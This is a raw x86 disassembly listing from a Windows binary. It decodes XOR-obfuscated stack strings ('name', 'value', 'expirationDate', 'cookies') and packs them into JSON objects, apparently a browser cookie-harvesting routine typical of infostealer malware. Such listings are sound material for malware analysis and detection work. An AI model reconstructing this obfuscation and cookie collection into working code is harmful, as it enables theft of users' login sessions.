mov ecx, dword [ebp - 0xdc]
mov eax, esi
inc ecx
cmp ecx, 0x1000
jb 0x43a1fd
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43aa44
push ecx
push esi
call fcn.004dd831
add esp, 8
cmp byte [ebp - 0x1a], 0
mov byte [ebp - 4], 0x16
je 0x43a243
mov ecx, dword [ebp - 0xf4]
mov edx, dword [ebp - 0x14]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43a239
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43aa44
push ecx
push edx
call fcn.004dd831
add esp, 8
test edi, edi
je 0x43a29b
cmp dword [edi + 0x2c], 0
je 0x43a276
mov eax, 4
cmp ax, word [edi + 0x30]
jae 0x43a276
mov eax, dword [edi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43a26b
push eax
call dword [0x534d48]
add esp, 4
mov ecx, dword [edi + 0x2c]
add ecx, 0xa0
jmp 0x43a2a0
mov eax, dword [edi]
test eax, eax
je 0x43a29b
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43a28d
push eax
call dword [0x534d48]
add esp, 4
push 0
push 0x19
push dword [edi]
call fcn.0048e230
add esp, 0xc
mov ecx, 0x51f4d8
mov dl, 1
call fcn.0049c750
mov dword [ebp - 0x18], eax
test edi, edi
je 0x43a304
mov esi, dword [edi]
mov ecx, dword [edi + 0x64]
test esi, esi
je 0x43a2e4
cmp byte [esi + 0x1e], 0
jne 0x43a2c7
mov edx, esi
cmp ecx, 0xc0a
jne 0x43a2df
push 0
push 7
push esi
call fcn.0048e230
mov byte [esi + 0x1e], 0
add esp, 0xc
mov edx, dword [edi]
mov ecx, 7
mov eax, dword [esi + 0x18]
jmp 0x43a2eb
mov eax, 0xff
mov edx, esi
and eax, ecx
mov dword [edi + 0x64], eax
mov eax, dword [edx + 0x44]
test eax, eax
je 0x43a301
push eax
call dword [0x534d50]
add esp, 4
mov eax, dword [ebp - 0x18]
push eax
call fcn.004eb156
add esp, 4
mov dword [ebp - 0x218], eax
lea eax, [ebp - 0x218]
mov dword [ebp - 0x214], edx
xorps xmm0, xmm0
mov byte [ebp - 0x150], 0
movq qword [ebp - 0x148], xmm0
push eax
lea eax, [ebp - 0x150]
push eax
call fcn.00477440
mov byte [ebp - 4], 0x21
xor eax, eax
mov dword [ebp - 0xab], 0xf7ede4fe
mov dword [ebp - 0xa7], 0xcbd5c1ed
mov dword [ebp - 0xa3], 0xc7e1cacc
mov dword [ebp - 0x9f], 0x100cdd3
nop dword [eax]
lea ecx, [eax - 0x65]
xor byte [ebp + eax - 0xab], cl
inc eax
cmp eax, 0xe
jb 0x43a370
lea eax, [ebp - 0xab]
mov byte [ebp - 0x9c], 0
push eax
lea ecx, [ebp - 0x130]
call fcn.0046a630
mov byte [ebp - 4], 0x16
mov edi, eax
mov cl, byte [ebp - 0x150]
mov eax, dword [ebp - 0x148]
mov dl, byte [edi]
mov byte [edi], cl
mov ecx, dword [ebp - 0x144]
mov esi, dword [edi + 0xc]
mov byte [ebp - 0x150], dl
mov edx, dword [edi + 8]
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0x150]
mov dword [edi + 8], eax
mov dword [ebp - 0x148], edx
mov dword [ebp - 0x144], esi
call fcn.00464020
mov edi, dword [ebp - 0x20]
test edi, edi
je 0x43a439
cmp dword [edi + 0x2c], 0
je 0x43a414
mov eax, 5
cmp ax, word [edi + 0x30]
jae 0x43a414
mov eax, dword [edi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43a409
push eax
call dword [0x534d48]
add esp, 4
mov ecx, dword [edi + 0x2c]
add ecx, 0xc8
jmp 0x43a43e
mov eax, dword [edi]
test eax, eax
je 0x43a439
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43a42b
push eax
call dword [0x534d48]
add esp, 4
push 0
push 0x19
push dword [edi]
call fcn.0048e230
add esp, 0xc
mov ecx, 0x51f4d8
mov dl, 1
call fcn.0049c750
mov dword [ebp - 0x14], eax
test edi, edi
je 0x43a49f
mov esi, dword [edi]
mov ecx, dword [edi + 0x64]
test esi, esi
je 0x43a482
cmp byte [esi + 0x1e], 0
jne 0x43a465
mov edx, esi
cmp ecx, 0xc0a
jne 0x43a47d
push 0
push 7
push esi
call fcn.0048e230
mov byte [esi + 0x1e], 0
add esp, 0xc
mov edx, dword [edi]
mov ecx, 7
mov eax, dword [esi + 0x18]
jmp 0x43a489
mov eax, 0xff
mov edx, esi
and eax, ecx
mov dword [edi + 0x64], eax
mov eax, dword [edx + 0x44]
test eax, eax
je 0x43a49f
push eax
call dword [0x534d50]
add esp, 4
xorps xmm0, xmm0
mov byte [ebp - 0x1a0], 3
push 0x18
movq qword [ebp - 0x198], xmm0
call fcn.004dd5b0
mov esi, eax
add esp, 4
lea eax, [ebp - 0x10a]
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x210], eax
mov dword [ebp - 0x20c], esi
mov byte [ebp - 4], 0x22
xorps xmm0, xmm0
mov edx, dword [ebp - 0x14]
mov ecx, edx
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
lea eax, [ecx + 1]
mov dword [ebp - 0x14], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43a4f5
sub ecx, dword [ebp - 0x14]
push ecx
push edx
mov ecx, esi
call fcn.00402870
mov dword [ebp - 0x20c], 0
mov dword [ebp - 0x198], esi
mov byte [ebp - 4], 0x23
xor ecx, ecx
mov dword [ebp - 0x3a], 0xfbf0fdf5
mov word [ebp - 0x36], 0x100
nop dword [eax + eax]
mov al, cl
sub al, 0x65
xor byte [ebp + ecx - 0x3a], al
inc ecx
cmp ecx, 4
jb 0x43a530
lea eax, [ebp - 0x3a]
mov byte [ebp - 0x35], 0
push eax
lea ecx, [ebp - 0x130]
call fcn.0046a630
mov esi, eax
mov byte [ebp - 4], 0x16
mov eax, dword [ebp - 0x194]
mov edi, dword [ebp - 0x18]
mov cl, byte [esi]
mov byte [esi], 3
mov edx, dword [esi + 0xc]
mov byte [ebp - 0x1a0], cl
mov ecx, dword [esi + 8]
mov dword [ebp - 0x198], ecx
lea ecx, [ebp - 0x1a0]
mov dword [esi + 8], edi
mov dword [esi + 0xc], eax
mov dword [ebp - 0x194], edx
call fcn.00464020
mov edi, dword [ebp - 0x20]
test edi, edi
je 0x43a5e9
cmp dword [edi + 0x2c], 0
je 0x43a5c4
mov eax, 6
cmp ax, word [edi + 0x30]
jae 0x43a5c4
mov eax, dword [edi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43a5b9
push eax
call dword [0x534d48]
add esp, 4
mov ecx, dword [edi + 0x2c]
add ecx, 0xf0
jmp 0x43a5ee
mov eax, dword [edi]
test eax, eax
je 0x43a5e9
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43a5db
push eax
call dword [0x534d48]
add esp, 4
push 0
push 0x19
push dword [edi]
call fcn.0048e230
add esp, 0xc
mov ecx, 0x51f4d8
mov dl, 1
call fcn.0049c750
mov dword [ebp - 0x14], eax
test edi, edi
je 0x43a64f
mov esi, dword [edi]
mov ecx, dword [edi + 0x64]
test esi, esi
je 0x43a632
cmp byte [esi + 0x1e], 0
jne 0x43a615
mov eax, esi
cmp ecx, 0xc0a
jne 0x43a62d
push 0
push 7
push esi
call fcn.0048e230
mov byte [esi + 0x1e], 0
add esp, 0xc
mov eax, dword [edi]
mov ecx, 7
mov edx, dword [esi + 0x18]
jmp 0x43a639
mov edx, 0xff
mov eax, esi
and ecx, edx
mov dword [edi + 0x64], ecx
mov eax, dword [eax + 0x44]
test eax, eax
je 0x43a64f
push eax
call dword [0x534d50]
add esp, 4
xorps xmm0, xmm0
mov byte [ebp - 0x1b0], 3
push 0x18
movq qword [ebp - 0x1a8], xmm0
call fcn.004dd5b0
mov esi, eax
add esp, 4
lea eax, [ebp - 0x109]
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], esi
mov byte [ebp - 4], 0x24
xorps xmm0, xmm0
mov edx, dword [ebp - 0x14]
mov ecx, edx
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
lea eax, [ecx + 1]
mov dword [ebp - 0x14], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43a6a0
sub ecx, dword [ebp - 0x14]
push ecx
push edx
mov ecx, esi
call fcn.00402870
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x1a8], esi
mov byte [ebp - 4], 0x25
xor ecx, ecx
mov dword [ebp - 0x6f], 0xebf1fded
mov word [ebp - 0x6b], 0xfa
mov byte [ebp - 0x69], 1
mov al, cl
sub al, 0x65
xor byte [ebp + ecx - 0x6f], al
inc ecx
cmp ecx, 5
jb 0x43a6d7
lea eax, [ebp - 0x6f]
mov byte [ebp - 0x69], 0
push eax
lea ecx, [ebp - 0x130]
call fcn.0046a630
mov esi, eax
mov byte [ebp - 4], 0x16
mov eax, dword [ebp - 0x1a4]
mov edi, dword [ebp - 0x18]
mov cl, byte [esi]
mov byte [esi], 3
mov edx, dword [esi + 0xc]
mov byte [ebp - 0x1b0], cl
mov ecx, dword [esi + 8]
mov dword [ebp - 0x1a8], ecx
lea ecx, [ebp - 0x1b0]
mov dword [esi + 8], edi
mov dword [esi + 0xc], eax
mov dword [ebp - 0x1a4], edx
call fcn.00464020
lea eax, [ebp - 0xd8]
push eax
lea ecx, [ebp - 0xc0]
call fcn.00463c80
lea ecx, [ebp - 0x130]
push ecx
mov ecx, eax
call fcn.004639a0
lea ecx, [ebp - 0x130]
mov byte [ebp - 4], 0x10
call fcn.00464020
mov edi, dword [ebp - 0x20]
mov ecx, edi
call fcn.0049f880
cmp eax, 0x64
je 0x439973
test edi, edi
je 0x43a7ef
mov esi, dword [edi]
mov eax, dword [esi + 0x44]
mov dword [ebp - 0x14], eax
test eax, eax
je 0x43a791
push eax
call dword [0x534d48]
add esp, 4
mov eax, dword [edi + 0x50]
mov dword [ebp - 0x18], 0
cmp eax, 0xbdf20da3
je 0x43a7a9
cmp eax, 0x519c2973
jne 0x43a7b3
mov ecx, edi
call fcn.0049e680
mov dword [ebp - 0x18], eax
mov ecx, edi
call fcn.0049e890
test esi, esi
je 0x43a7de
cmp byte [esi + 0x1e], 0
jne 0x43a7cd
cmp dword [ebp - 0x18], 0xc0a
jne 0x43a7de
push 0
push 7
push esi
call fcn.0048e230
add esp, 0xc
mov byte [esi + 0x1e], 0
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x43a7ef
push eax
call dword [0x534d50]
add esp, 4
mov ecx, dword [ebp - 0x118]
call fcn.004149b0
mov dword [ebp - 0x88], 0xf5f2f3f8
xor ecx, ecx
mov dword [ebp - 0x84], 0xd2c5f6
mov byte [ebp - 0x80], 1
mov al, cl
sub al, 0x65
xor byte [ebp + ecx - 0x88], al
inc ecx
cmp ecx, 7
jb 0x43a814
mov ecx, dword [ebp - 0x11c]
lea eax, [ebp - 0x88]
push eax
mov byte [ebp - 0x80], 0
call fcn.0046a630
lea ecx, [ebp - 0xc0]
push ecx
mov ecx, eax
call fcn.004639a0
lea ecx, [ebp - 0xc0]
call fcn.00464020
mov esi, dword [ebp - 0x24]
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x1b4]
cmp ecx, 0x10
jb 0x43a895
mov edx, dword [ebp - 0x1c8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43a88b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43aa44
push ecx
push edx
call fcn.004dd831
add esp, 8
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0xc4]
mov dword [ebp - 0x1b8], 0
mov dword [ebp - 0x1b4], 0xf
mov byte [ebp - 0x1c8], 0
cmp ecx, 0x10
jb 0x43a8ee
mov edx, dword [ebp - 0xd8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43a8e4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43aa44
push ecx
push edx
call fcn.004dd831
add esp, 8
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x240]
mov dword [ebp - 0xc8], 0
mov dword [ebp - 0xc4], 0xf
mov byte [ebp - 0xd8], 0
cmp ecx, 0x10
jb 0x43a947
mov edx, dword [ebp - 0x254]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43a93d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43aa44
push ecx
push edx
call fcn.004dd831
add esp, 8
mov edi, dword [ebp - 0x114]
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc edi
add edi, eax
mov dword [ebp - 0x114], edi
cmp byte [edi], 0
jne 0x439290
mov ecx, dword [ebp - 0x1cc]
cmp ecx, 0x10
jb 0x43a9a0
mov edx, dword [ebp - 0x1e0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43a996
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43aa44
push ecx
push edx
call fcn.004dd831
add esp, 8
mov ecx, dword [ebp - 0x1f4]
mov dword [ebp - 0x1d0], 0
mov dword [ebp - 0x1cc], 0xf
mov byte [ebp - 0x1e0], 0
cmp ecx, 0x10
jb 0x43a9f1
mov edx, dword [ebp - 0x208]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43a9e7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43aa44
push ecx
push edx
call fcn.004dd831
add esp, 8
mov ecx, dword [ebx + 0x1c]
cmp ecx, 0x10
jb 0x43aa21
mov edx, dword [ebx + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43aa17
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43aa44
push ecx
push edx
call fcn.004dd831
add esp, 8
mov eax, dword [ebp - 0x11c]
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00402050
call fcn.00402050
call fcn.004e2ad0
lea ecx, [ebp - 0xc0]
call fcn.00468250
push eax
lea ecx, [ebp - 0x2d8]
call fcn.00402710
push eax
mov edx, str.cannot_use_operator___with_a_string_argument_with
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x2f0]
call fcn.0046a3e0
add esp, 4
push eax
mov edx, 0x131
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x2c0]
call fcn.00408960
add esp, 4
lea eax, [ebp - 0x2c0]
push 0x532798
push eax
call fcn.004df21b
int3